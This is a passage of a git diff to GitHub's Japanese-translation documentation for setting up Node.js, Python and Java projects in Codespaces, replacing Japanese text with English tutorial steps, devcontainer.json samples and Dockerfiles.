%} - codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -## Step 4: アプリケーションを実行する +## Step 4: Run your application -前のセクションでは、`postCreateCommand` を使用して npm を介してパッケージのセットをインストールしました。 これを使用して、npm でアプリケーションを実行できます。 +In the previous section, you used the `postCreateCommand` to install a set of packages via npm. You can now use this to run our application with npm. -1. `F5` キーを押してアプリケーションを実行します。 +1. Run your application by pressing `F5`. -2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![ポートフォワーディングトースト](/assets/images/help/codespaces/codespaces-port-toast.png) + ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png) -## ステップ 5: 変更をコミットする +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 次のステップ +## Next steps -これで、{% data variables.product.prodname_codespaces %} で Java プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。 +You should now be ready start developing your Java project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [{% data variables.product.prodname_codespaces %} の暗号化されたシークレットを管理する](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) -- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md index 478238ddf6..d2825ffebe 100644 --- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md +++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md @@ -1,7 +1,7 @@ --- title: Setting up your Node.js project for Codespaces shortTitle: Setting up your Node.js project -intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で JavaScript、Node.js、または TypeScript プロジェクトを始めます。' +intro: 'Get started with your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -14,100 +14,104 @@ topics: - Developer - Node - JavaScript +hasExperimentalAlternative: true +hidden: true --- -## はじめに +## Introduction -このガイドでは、JavaScript、Node.js、または TypeScript プロジェクトを {% data variables.product.prodname_codespaces %} で設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。 +This guide shows you how to set up your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 必要な環境 +### Prerequisites -- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の JavaScript、Node.js、または TypeScript プロジェクトがあります。 プロジェクトがない場合は、https://github.com/microsoft/vscode-remote-try-node の例でこのチュートリアルを試すことができます。 -- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。 +- You should have an existing JavaScript, Node.js, or TypeScript project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-node +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## ステップ 1: codespace でプロジェクトを開く +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、Node.js、JavaScript、Typescript、nvm、npm、yarn を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 詳しい情報については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## ステップ 2: テンプレートから codespace に開発コンテナを追加する +## Step 2: Add a dev container to your codespace from a template -デフォルトの Codespaces コンテナは、[vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) のような Node.js プロジェクトの実行をすぐにサポートします。 カスタムコンテナを設定することで、codespace 作成の一部として実行されるツールとスクリプトをカスタマイズし、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに完全に再現可能な環境を確保できます。 +The default codespaces container will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. By setting up a custom container you can customize the tools and scripts that run as part of codespace creation and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 開発コンテナの詳細については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". {% data reusables.codespaces.command-palette-container %} -3. この例では、[**Node.js**] をクリックします。 追加機能が必要な場合は、Node に固有の任意のコンテナ、または Node と MongoDB などのツールの組み合わせを選択できます。 ![リストから Node オプションを選択](/assets/images/help/codespaces/add-node-prebuilt-container.png) -4. Node.js の推奨バージョンをクリックします。 ![Node.js バージョンの選択](/assets/images/help/codespaces/add-node-version.png) +3. For this example, click **Node.js**. If you need additional features you can select any container that’s specific to Node or a combination of tools such as Node and MongoDB. + ![Select Node option from the list](/assets/images/help/codespaces/add-node-prebuilt-container.png) +4. Click the recommended version of Node.js. + ![Node.js version selection](/assets/images/help/codespaces/add-node-version.png) {% data reusables.codespaces.rebuild-command %} -### 開発コンテナの構造 +### Anatomy of your dev container -Node.js 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。 +Adding the Node.js dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json ```json -// フォーマットの詳細は https://aka.ms/devcontainer.json を参照します。 設定オプションについては、次の README を参照します。 +// For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: // https://github.com/microsoft/vscode-dev-containers/tree/v0.162.0/containers/javascript-node { - "name": "Node.js", - "build": { - "dockerfile": "Dockerfile", - // Update 'VARIANT' to pick a Node version: 10, 12, 14 - "args": { "VARIANT": "14" } - }, + "name": "Node.js", + "build": { + "dockerfile": "Dockerfile", + // Update 'VARIANT' to pick a Node version: 10, 12, 14 + "args": { "VARIANT": "14" } + }, - // コンテナの作成時に*デフォルト*のコンテナ固有の settings.json 値を設定します。 - "settings": { - "terminal.integrated.shell.linux": "/bin/bash" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash" + }, - // コンテナの作成時にインストールする拡張機能の ID を追加します。 - "extensions": [ - "dbaeumer.vscode-eslint" - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "dbaeumer.vscode-eslint" + ], - // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。 - // "forwardPorts": [], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], - // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。 - // "postCreateCommand": "yarn install", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "yarn install", - // 代わりに、connect を root としてコメントアウトします。 詳細は https://aka.ms/vscode-remote/containers/non-root を参照します。 - "remoteUser": "node" + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "node" } ``` -- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。 -- **ビルド** - ビルドプロパティです。 - - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、テンプレートからも追加された Dockerfile への参照です。 +- **Name** - You can name your dev container anything, this is just the default. +- **Build** - The build properties. + - **dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template. - **Args** - - **バリアント**: このファイルには、Dockerfile に渡される使用するノードのバリアントであるビルド引数が 1 つだけ含まれています。 -- **設定** - これらは、設定可能な {% data variables.product.prodname_vscode %} 設定です。 - - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。 -- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。 - - **Dbaeumer.vscode-eslint** - ES lint は lint の優れた機能拡張ですが、JavaScript の場合は、Marketplace の優れた機能拡張も多数含めることができます。 -- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。 -- **remoteUser** - デフォルト設定では、vscode ユーザとして実行していますが、オプションでこれを root に設定できます。 + - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **Dbaeumer.vscode-eslint** - ES lint is a great extension for linting, but for JavaScript there are a number of great Marketplace extensions you could also include. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here. +- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root. #### Dockerfile @@ -128,50 +132,50 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT} # RUN su node -c "npm install -g " ``` -Dockerfile を使用して、コンテナレイヤーを追加し、Dockerfile に含める OS パッケージ、ノードバージョン、またはグローバルパッケージを指定できます。 +You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our Dockerfile. -## ステップ 3: devcontainer.json ファイルを変更する +## Step 3: Modify your devcontainer.json file -開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、codespace の起動時に npm をインストールするためのプロパティを追加し、コンテナ内のポートのリストをローカルで使用できるようにします。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install npm when your codespace launches and make a list of ports inside the container available locally. -1. Explorer で、ツリーから `devcontainer.json` ファイルを選択して開きます。 表示するには、`.devcontainer` フォルダを展開する必要がある場合があります。 +1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. `extensions` の後に、`devcontainer.json` ファイルに次の行を追加します。 +2. Add the following lines to your `devcontainer.json` file after `extensions`: ```json{:copy} "postCreateCommand": "npm install", "forwardPorts": [4000], ``` - `devcontainer.json` プロパティの詳細については、{% data variables.product.prodname_vscode %} ドキュメントの [devcontainer.json リファレンス](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)を参照してください。 + For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) in the {% data variables.product.prodname_vscode %} docs. {% data reusables.codespaces.rebuild-command %} - codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -## Step 4: アプリケーションを実行する +## Step 4: Run your application -前のセクションでは、`postCreateCommand` を使用して npm を介してパッケージのセットをインストールしました。 これを使用して、npm でアプリケーションを実行できます。 +In the previous section, you used the `postCreateCommand` to installing a set of packages via npm. You can now use this to run our application with npm. -1. `npm start` を使用してターミナルで start コマンドを実行します。 +1. Run your start command in the terminal with`npm start`. - ![npm をターミナルで開始](/assets/images/help/codespaces/codespaces-npmstart.png) + ![npm start in terminal](/assets/images/help/codespaces/codespaces-npmstart.png) -2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![ポートフォワーディングトースト](/assets/images/help/codespaces/codespaces-port-toast.png) + ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png) -## ステップ 5: 変更をコミットする +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 次のステップ +## Next steps -これで、{% data variables.product.prodname_codespaces %} で JavaScript プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。 +You should now be ready start developing your JavaScript project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [Codespaces の暗号化されたシークレットを管理する](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) -- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces) +- [Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces) - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md new file mode 100644 index 0000000000..6e68ed79d6 --- /dev/null +++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md @@ -0,0 +1,19 @@ +--- +title: Adding a dev container to your repository +shortTitle: Add a dev container to your repository +allowTitleToDifferFromFilename: true +intro: 'Get started with your Node.js, Python, .NET, or Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' +type: tutorial +topics: + - Codespaces + - Developer + - Node + - JavaScript +hasExperimentalAlternative: true +interactive: true +--- + + \ No newline at end of file diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md index 9230ab42ed..ff74da3c4c 100644 --- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md +++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md @@ -1,7 +1,7 @@ --- title: Setting up your Python project for Codespaces shortTitle: Setting up your Python project -intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で Python プロジェクトを始めます。' +intro: 'Get started with your Python project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -13,199 +13,204 @@ topics: - Codespaces - Developer - Python +hasExperimentalAlternative: true +hidden: true --- -## はじめに +## Introduction -このガイドでは、Python プロジェクトを {% data variables.product.prodname_codespaces %} で設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。 +This guide shows you how to set up your Python project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 必要な環境 +### Prerequisites -- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の Python プロジェクトがあります。 プロジェクトがない場合は、https://github.com/2percentsilk/python-quickstart の例でこのチュートリアルを試すことができます。 -- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。 +- You should have an existing Python project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/python-quickstart. +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## ステップ 1: codespace でプロジェクトを開く +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、Node.js、JavaScript、Typescript、nvm、npm、yarn を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 詳しい情報については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## ステップ 2: テンプレートから codespace に開発コンテナを追加する +## Step 2: Add a dev container to your codespace from a template -デフォルトの Codespaces コンテナには、最新の Python バージョン、パッケージマネージャー（pip、Miniconda）、およびその他の一般的なツールがプリインストールされています。 ただし、プロジェクトに必要なツールとスクリプトを定義するために、カスタムコンテナを設定することをお勧めします。 これにより、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに対して完全に再現可能な環境を確保できます。 +The default codespaces container comes with the latest Python version, package managers (pip, Miniconda), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 開発コンテナの詳細については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)」を参照してください。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." {% data reusables.codespaces.command-palette-container %} -2. この例では、[**Python 3**] をクリックします。 追加機能が必要な場合は、Python に固有の任意のコンテナ、または Python 3 と PostgreSQL などのツールの組み合わせを選択できます。 ![リストから Python オプションを選択](/assets/images/help/codespaces/add-python-prebuilt-container.png) -3. Python の推奨バージョンをクリックします。 ![Python バージョンの選択](/assets/images/help/codespaces/add-python-version.png) -4. デフォルトのオプションを使用して、Node.js をカスタマイズに追加します。 ![Node.js の選択に追加](/assets/images/help/codespaces/add-nodejs-selection.png) +2. For this example, click **Python 3**. If you need additional features you can select any container that’s specific to Python or a combination of tools such as Python 3 and PostgreSQL. + ![Select Python option from the list](/assets/images/help/codespaces/add-python-prebuilt-container.png) +3. Click the recommended version of Python. + ![Python version selection](/assets/images/help/codespaces/add-python-version.png) +4. Accept the default option to add Node.js to your customization. + ![Add Node.js selection](/assets/images/help/codespaces/add-nodejs-selection.png) {% data reusables.codespaces.rebuild-command %} -### 開発コンテナの構造 +### Anatomy of your dev container -Python 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。 +Adding the Python dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json ```json { - "name": "Python 3", - "build": { - "dockerfile": "Dockerfile", - "context": "..", - "args": { - // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9 - "VARIANT": "3", - // Options - "INSTALL_NODE": "true", - "NODE_VERSION": "lts/*" - } - }, + "name": "Python 3", + "build": { + "dockerfile": "Dockerfile", + "context": "..", + "args": { + // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9 + "VARIANT": "3", + // Options + "INSTALL_NODE": "true", + "NODE_VERSION": "lts/*" + } + }, - // Set *default* container specific settings.json values on container create. - "settings": { - "terminal.integrated.shell.linux": "/bin/bash", - "python.pythonPath": "/usr/local/bin/python", - "python.linting.enabled": true, - "python.linting.pylintEnabled": true, - "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8", - "python.formatting.blackPath": "/usr/local/py-utils/bin/black", - "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf", - "python.linting.banditPath": "/usr/local/py-utils/bin/bandit", - "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8", - "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy", - "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle", - "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle", - "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash", + "python.pythonPath": "/usr/local/bin/python", + "python.linting.enabled": true, + "python.linting.pylintEnabled": true, + "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8", + "python.formatting.blackPath": "/usr/local/py-utils/bin/black", + "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf", + "python.linting.banditPath": "/usr/local/py-utils/bin/bandit", + "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8", + "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy", + "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle", + "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle", + "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint" + }, - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "ms-python.python", - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "ms-python.python", + ], - // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。 - // "forwardPorts": [], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], - // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。 - // "postCreateCommand": "pip3 install --user -r requirements.txt", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "pip3 install --user -r requirements.txt", - // 代わりに、connect を root としてコメントアウトします。 詳細は https://aka.ms/vscode-remote/containers/non-root を参照します。 - "remoteUser": "vscode" + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" } ``` -- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。 -- **ビルド** - ビルドプロパティです。 - - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、テンプレートからも追加された `dockerfile` への参照です。 +- **Name** - You can name our dev container anything, this is just the default. +- **Build** - The build properties. + - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template. - **Args** - - **バリアント**: このファイルには、Dockerfile に渡される使用するノードのバリアントであるビルド引数が 1 つだけ含まれています。 -- **設定** - これらは {% data variables.product.prodname_vscode %} 設定です。 - - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。 -- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。 - - **ms-python.python** - Microsoft Python 機能拡張は、IntelliSense、linting、デバッグ、コードナビゲーション、コード形式、リファクタリング、変数エクスプローラ、テストエクスプローラなどの機能を含む、Python 言語（言語のアクティブにサポートされているすべてのバージョン 3.6 または以降）の豊富なサポートを提供します。 -- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - `dotnet restore` のように、Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。 -- **remoteUser** - デフォルト設定では、`vscode` ユーザとして実行していますが、オプションでこれを `root` に設定できます。 + - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **ms-python.python** - The Microsoft Python extension provides rich support for the Python language (for all actively supported versions of the language: >=3.6), including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `pip3 install -r requirements`, you can do that here. +- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`. #### Dockerfile ```bash -# [Choice] Python バージョン: 3, 3.9, 3.8, 3.7, 3.6 +# [Choice] Python version: 3, 3.9, 3.8, 3.7, 3.6 ARG VARIANT="3" FROM mcr.microsoft.com/vscode/devcontainers/python:0-${VARIANT} -# [Option] Node.js をインストールします +# [Option] Install Node.js ARG INSTALL_NODE="true" ARG NODE_VERSION="lts/*" RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi -# [Optional] pip の要件をめったに変更しない場合は、このセクションのコメントを解除して、画像に追加します。 +# [Optional] If your pip requirements rarely change, uncomment this section to add them to the image. # COPY requirements.txt /tmp/pip-tmp/ # RUN pip3 --disable-pip-version-check --no-cache-dir install -r /tmp/pip-tmp/requirements.txt \ # && rm -rf /tmp/pip-tmp -# [Optional] このセクションのコメントを解除して追加の OS パッケージをインストールします。 +# [Optional] Uncomment this section to install additional OS packages. # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ 